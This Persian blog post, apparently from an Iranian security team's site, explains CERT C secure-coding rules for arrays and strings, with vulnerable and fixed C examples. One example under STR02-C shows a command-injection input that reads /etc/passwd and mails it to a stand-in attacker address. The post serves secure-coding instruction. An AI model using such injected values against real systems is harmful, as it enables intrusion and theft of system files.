تیم امنیت سایبری حامیان ولایت

اللهم إیّاک نعبد و إیّاک نستعین

تیم امنیت سایبری حامیان ولایت

اللهم إیّاک نعبد و إیّاک نستعین

تیم  امنیت سایبری حامیان ولایت

تیم امنیت سایبری حامیان ولایت در سال 1392 فعالیت خود را در زمینه های هک و امنیت آغاز کرد و به زودی به کمک کاربران فعال و مدیران لایق یکی از بزرگ ترین انجمن های هک و امنیت ایران خواهد شد . تیم امنیت سایبری ولایت فقط جهت اشنایی و بالا بردن سطح اطلاعات هم وطنان عزیزمان در زمینه ی هک و امنیت و طبق قوانین جمهوری اسلامی ایران فعالیت میکند. گروه ما از همین جا اعلام می دارد که هدف ما ارتقای امنیت سایت های ایرانی است وبه هیچ عنوان به سایت های ایرانی حمله نخواهیم کرد و هرگونه حمله ای بنام تیم ما، مورد تایید گروه ما نیست.

پیوندهای روزانه

عنصر اصلی در برنامه نویسی امن با زبان های مختلف برنامه نویسی، مستند سازی خوب و استفاده از استانداردهای قابل اجرا است. استانداردهای کدنویسی، برنامه نویسان را ترغیب به پیروی از مجموعه ای متحدالشکل از قوانین و راهنماییها می کند که بر اساس نیازمندی های پروژه و سازمان تعیین شده است، نه بر اساس سلایق و مهارت های مختلف برنامه نویسان. به محض تعیین استانداردهای مذکور، می توان از آن به عنوان معیاری برای ارزیابی کدهای منبع، چه به صورت دستی و چه به صورت اتوماتیک استفاده کرد.
از استانداردهای معروف در این زمینه می توان به استانداردCERT برای کدنویسی امن اشاره کرد که یک سری از قوانین و پیشنهادات را برای کد نویسی امن با زبان های برنامه نویسی C، C++ و جاوا ارائه می دهد. هدف از این قوانین و پیشنهادات، حذف عادت های کدنویسی ناامن و رفتارهای تعریف نشده است که منجر به آسیب پذیری های قابل سوءاستفاده می شود. به کارگیری استانداردهای مذکور منجر به تولید سیستم های با کیفیت بالاتر می شود که در برابر حملات بالقوه، پایدارتر و مقاوم تر هستند.
در مقاله "آشنایی با استاندارد CERT برای برنامه نویسی امن"، کلیات استاندارد CERT در زمینه مزبور را توضیح دادیم و در سری مقاله های برنامه نویسی امن به زبان C به صورت تخصصی تر شیوه برنامه نویسی امن با این زبان را مورد بررسی قرار می دهیم. قابل ذکر است که در این استاندارد 89 قانون و 134 پیشنهاد برای برنامه نویسی امن با زبان C ارائه شده است که در این سری مقالات، مهمترین آنها را که در سطح یک قرار دارند، شرح خواهیم داد. برای کسب اطلاعات بیشتر در مورد سطح بندی قوانین و پیشنهادات به مقاله "آشنایی با استاندارد CERT برای برنامه نویسی امن" مراجعه فرمایید. در مقاله حاضر در مورد قوانین و پیشنهادات سطح اول ارائه شده در مورد آرایه ها و همچنین پیشنهادات سطح اول ارائه شده برای رشته ها صحبت خواهیم کرد و در مقاله بعدی به قوانین ارائه شده سطح اول در مورد رشته ها خواهیم پرداخت.

آرایه ها

11. پیشنهاد ARR01-C: زمانی که قصد به دست آوردن اندازه آرایه را دارید، از عملگر sizeof بر روی اشاره گر به آرایه استفاده نکنید.

عملگر sizeof، اندازه عملوند خود بر اساس تعداد بایت را بر می گرداند که عملوند مذکور می تواند یک عبارت یا نام یک نوع در پرانتز باشد. با این وجود، استفاده از sizeof برای تعیین اندازه یک آرایه، اشتباهی مصطلح است. برای مثال در کد زیر تابع clear برای قرار دادن صفر در تمام عناصر آرایه ایجاد شده است و در حلقه For برای به دست آوردن اندازه آرایه از عملگر sizeof به صورت اشتباه استفاده شده است. در اینجا sizeof(array) برابر با sizeof(int *) است.

void clear(int array[]) {

for (size_t i = 0; i < sizeof(array) / sizeof(array[0]); ++i) {

array[i] = 0;

برای اصلاح کد فوق لازم است اندازه آرایه نیز به تابع clear ارسال شود:

void clear(int array[], size_t len) {

for (size_t i = 0; i < len; i++) {

array[i] = 0; }}

12. قانون ARR31-C: برای تعریف آرایه از یک نماد یکسان در سراسر کد استفاده کنید.

از یک نماد یکسان برای تعریف متغیرها، از جمله آرایه ها، در فایل ها و زیر برنامه های مختلف استفاده کنید. البته نیاز به این کار معمولاً به صورت واضح احساس نمی شود زیرا آرایه ها در زمان ارسال به عنوان آرگومان یک تابع، تبدیل به اشاره گر می شوند و لذا درون یک فایل دو تعریف زیر یکسان هستند:

void func(char *a);
void func(char a[]);

اما در خارج از اعلان توابع، این تعاریف در صورتی که آرایه یک جا به صورت اشاره گر و در فایلی دیگر با استفاده از نماد آرایه تعریف شود، یکسان نیستند.

13. قانون ARR33-C: در زمان کپی داده ها در یک آرایه، از اندازه کافی حافظه مقصد برای نگهداری داده های کپی شده، اطمینان حاصل کنید.

کپی کردن داده ها در آرایه ای که به اندازه کافی برای نگهداری داده مذکور، بزرگ نیست منجر به خطای سرریز بافر می شود. برای ممانعت از بروز چنین خطا، باید حجم داده هایی که در آرایه مقصد کپی می شوند بر مبنای اندازه آرایه مقصد محدود شوند، یا ترجیحاً آرایه مقصد به اندازه کافی برای جا دادن داده های کپی شده، بزرگ باشد.

رشته ها

رشته ها یکی از مفاهیم پایه در مهندسی نرم افزار هستند، اما در زبان C به صورت پیش فرض تعریف نشده اند. فرمتی که برای پشتیبانی متغیرهای رشته ای در C استفاده می شودNull-terminated byte string یا NTBS نامیده می شود. این نوع، حاوی توالی پیوسته ای از کاراکترها است که اولین و آخرین آنها null است. زبان برنامه نویسی C رشته های کاراکتری تک بایتی، چند بایتی و Wide را پشتیبانی می کند. هر دو رشته های کاراکتری تک بایتی و چند بایتی به عنوان رشته های منتهی به null شناخته می شوند و اصطلاحاً به آنها رشته های کاراکتری narrow گفته می شود.
رشته ها در زبان برنامه نویسی C همچون آرایه ای کاراکترها پیاده سازی می شوند و لذا بسیاری از مشکلات آنها همانند آرایه ها است. در نتیجه، قوانین و پیشنهادات ارائه شده برای آرایه ها در اینجا نیز باید به کار گرفته شوند.

14. پیشنهاد STR00-C: کاراکترها را با استفاده از نوع مناسب نمایش دهید.

با وجودی که هیچ کجا انواع کاراکترهای C به صورت واضح تعریف نشده اند، اما C استاندارد از فلسفه زیر برای انتخاب انواع کاراکتر استفاده می کند:

کاراکترهای علامت دار (signed char) و بی علامت (unsigned char) که برای مقادیر عدد صحیح کوچک مناسب هستند.
کاراکتر ساده (plain) که به عنوان عنصر پایه رشته شناخته می شود و به مجموعه محدودی از کاراکترها تعلق دارد.
Int، برای داده هایی استفاده می شود که به عنوان کاراکتر بدون علامت تفسیر می شوند و سپس تبدیل به int می شوند و توسط توابع fgetc()، getc()، getchar() و ungetc() برگردانده می شوند. همچنین این نوع توسط توابع مربوط به کاراکترها در <ctype.h> نیز پذیرفته می شود.
کاراکتر بدون علامت یا unsigned که معمولاً در توابع مقایسه رشته ها استفاده می شود.
Wchar_t در واقع کاراکترهای wide هستند که برای داده های کاراکتری زبان طبیعی مورد استفاده قرار می گیرند.

15. پیشنهاد STR02-C: داده های ارسالی به زیرسیستم های پیچیده را پاکسازی کرده و سپس ارسال کنید.

داده های رشته ای که به زیر سیستم های پیچیده ارسال می شوند، ممکن است حاوی کاراکترهای مخصوصی باشند که دستور یا کنشی را فعال کنند و منجر به یک آسیب پذیری در نرم افزار شوند. در نتیجه، پاکسازی داده های رشته ای مطابق با سیستمی که در آن تفسیر می شوند، امری بسیار ضروری است. منظور از زیرسیستم های پیچیده برای مثال فراخوانی system()، برنامه های خارجی، پایگاه داده رابطه ای و اجزای COTS متفرقه می باشند. برای نمونه کد زیر دارای آسیب پذیری است:

sprintf(buffer, "/bin/mail %s < /tmp/email", addr);
system(buffer);

زیرا یک کاربر خرابکار می تواند رشته زیر را به جای آدرس ایمیل وارد کند:

bogus@addr.com; cat /etc/passwd | mail some@badguy.net

برای اصلاح کد مذکور باید به صورت زیر عمل کرده و کاراکترهای قابل قبول را به روشنی تعریف کرد تا از سوءاستفاده های احتمالی جلوگیری به عمل آید:

static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"1234567890_-.@";
char user_data[] = "Bad char 1:} Bad char 2:{";
char *cp; /* cursor into string */
const char *end = user_data + strlen( user_data);
for (cp = user_data; cp != end; cp += strspn(cp, ok_chars)) {
*cp = '_';
}

16. پیشنهاد STR06-C: فرض نکنید که تابع strtok() رشته ارسال شده به آن را بدون تغییر رها می کند.

در استاندارد ISO/IEC 9899:1999، تابع strtoke() یک تابع جداکننده کلمات در رشته ها است که دو آرگومان را می گیرد: یک رشته اولیه که باید تجزیه شود و یک کاراکتر ثابت که به عنوان کاراکتر جداکننده در نظر گرفته می شود. این تابع یک اشاره گر به اولین کاراکتر یک کلمه را بر می گرداند و در صورتی که کلمه ای موجود نباشد null را بر می گرداند.
اولین باری که strtoke() صدا زده می شود، رشته توسط کاراکتر جدا کننده کلمات تجزیه می شود، به این ترتیب که تابع مذکور رشته را مرور می کند تا به اولین نمونه کاراکتر جداکننده برسد، سپس این کاراکتر را در جا با یک بایت null (‘’) جایگزین می کند و سپس آدرس اولین کاراکتر کلمه را بر می گرداند. فراخوانی های بعدی تابع strtoke()، تجزیه را بلافاصله بعد از آخرین کاراکتر null شروع می کند.
از آنجایی که این تابع، رشته اولیه را دستکاری کرده و تغییر می دهد، لذا استفاده های بعدی از این رشته نامطمئن است. در صورتی که نیاز دارید رشته اولیه شما دست نخورده باقی بماند، باید آن را در یک بافر کپی کرده و آدرس بافر را به strtok() ارسال کنید. یک راه دیگر این است که خود تابعی مشابه strtoke را طراحی کنید که رشته اولیه را تغییر نمی دهد.

در زیر یک نمونه کد نا مطمئن را مشاهده می کنید:

char *token;
char *path = getenv("PATH");

token = strtok(path, ":");
puts(token);

while (token = strtok(0, ":")) {
puts(token);
}

printf("PATH: %sn", path);
/* PATH is now just "/usr/bin" */

برای اصلاح کد مذکور لازم است آن را به صورت زیر تغییر داد:

char *token;
const char *path = getenv("PATH");
/* PATH is something like "/usr/bin:/bin:/usr/sbin:/sbin" */

char *copy = (char *)malloc(strlen(path) + 1);
if (copy == NULL) {
/* handle error */
}
strcpy(copy, path);
token = strtok(copy, ":");
puts(token);

while (token = strtok(0, ":")) {
puts(token);
}

free(copy);
copy = NULL;

printf("PATH: %sn", path);
/* PATH is still "/usr/bin:/bin:/usr/sbin:/sbin" */

17. پیشنهاد STR07-C: از استاندارد TR 24731 برای اصلاح توابع دستکاری رشته ها استفاده کنید.

استاندارد ISO/IEC TR 24731، نسخه های جایگزینی از توابع C استاندارد را تعریف می کند که به عنوان جایگزین های مطمئن تری نسبت به توابع موجود طراحی شده اند. برای مثال قسمت اول ISO/IEC TR 24731، توابع strcpy_s()، strcat_s()، strncpy_s() و strncat_s() را به جای توابع strcpy()، strcat()، strncpy() و strncat() معرفی می کند. این قسمت ابتدا توسط مایکروسافت برای اصلاح کدهایی ایجاد شد که در دهه پیش از آن با رخدادهای امنیتی زیادی روبرو شده بودند و سپس توابع مذکور به کارگروه بین المللی استاندارد سازی زبان C پیشنهاد شد.
برای مثال تابع strcpy_s() دارای امضای زیر است:

errno_t strcpy_s(
char * restrict s1,
rsize_t s1max,
const char * restrict s2
);

این امضا مشابه strcpy() است ولی یک آرگومان اضافی rsize_t را می گیرد که مشخص کننده حداکثر طول بافر مقصد است. عملکرد این تابع نیز شبیه strcpy() است و کاراکترهای منبع را در آرایه کاراکترهای مقصد کپی می کند و در صورتی که عملیات موفقیت آمیز باشد صفر را بر می گرداند. عملیات تنها در صورتی موفقیت آمیز است که رشته منبع به صورت کامل و بدون اینکه سرریزی در بافر مقصد رخ دهد در مقصد کپی شود.
یک نمونه کد ناامن که ممکن است منجر به سرریز بافر شود در زیر آورده شده است:

void complain(const char *msg) {
static const char prefix[] = "Error: ";
static const char suffix[] = "n";
char buf[BUFSIZ];

strcpy(buf, prefix);
strcat(buf, msg);
strcat(buf, suffix);
fputs(buf, stderr);
}

در صورتی که کد مذکور به صورت زیر تغییر کند، تبدیل به یک کد امن شده و منجر به سرریز بافر نمی شود. در این کد، از توابع جایگزین در استاندارد ISO/IEC TR 24731 استفاده شده و حالت خطا نیز در نظر گرفته شده است:

void complain(const char *msg) {
errno_t err;
static const char prefix[] = "Error: ";
static const char suffix[] = "n";
char buf[BUFSIZ];

err = strcpy_s(buf, sizeof(buf), prefix);
if (err != 0) {
/* handle error */
}

err = strcat_s(buf, sizeof(buf), msg);
if (err != 0) {
/* handle error */
}

err = strcat_s(buf, sizeof(buf), suffix);
if (err != 0) {
/* handle error */
}

fputs(buf, stderr);
}

در این مقاله در مورد پیشنهادات ارائه شده برای رشته ها توضیح داده شد و در مقاله بعدی از این سری مقالات، در مورد قوانین ارائه شده برای رشته ها صحبت خواهیم کرد.

 

نظرات  (۰)

هیچ نظری هنوز ثبت نشده است

ارسال نظر

ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی